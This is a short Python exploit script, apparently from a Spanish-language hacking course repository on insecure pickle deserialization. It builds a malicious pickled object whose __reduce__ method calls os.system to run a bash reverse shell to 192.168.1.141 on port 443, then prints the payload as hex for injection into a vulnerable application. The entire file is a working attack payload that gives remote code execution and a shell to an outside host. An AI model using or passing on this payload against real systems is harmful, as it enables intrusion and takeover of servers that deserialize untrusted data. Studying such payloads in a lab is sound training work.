infosec/Introduccion-hacking-hack4u/tema_6_owasp/35_des_pickle/exploitation.py
2024-02-25 19:25:08 +01:00

17 lines
285 B
Python

#!/var/bin/env python3
import pickle
import os
import binascii
class Exploit(object):
def __reduce__(self):
return (os.system, ('bash -c "bash -i >& /dev/tcp/192.168.1.141/443 0>&1"',))
if __name__ == '__main__':
print(binascii.hexlify(pickle.dumps(Exploit())))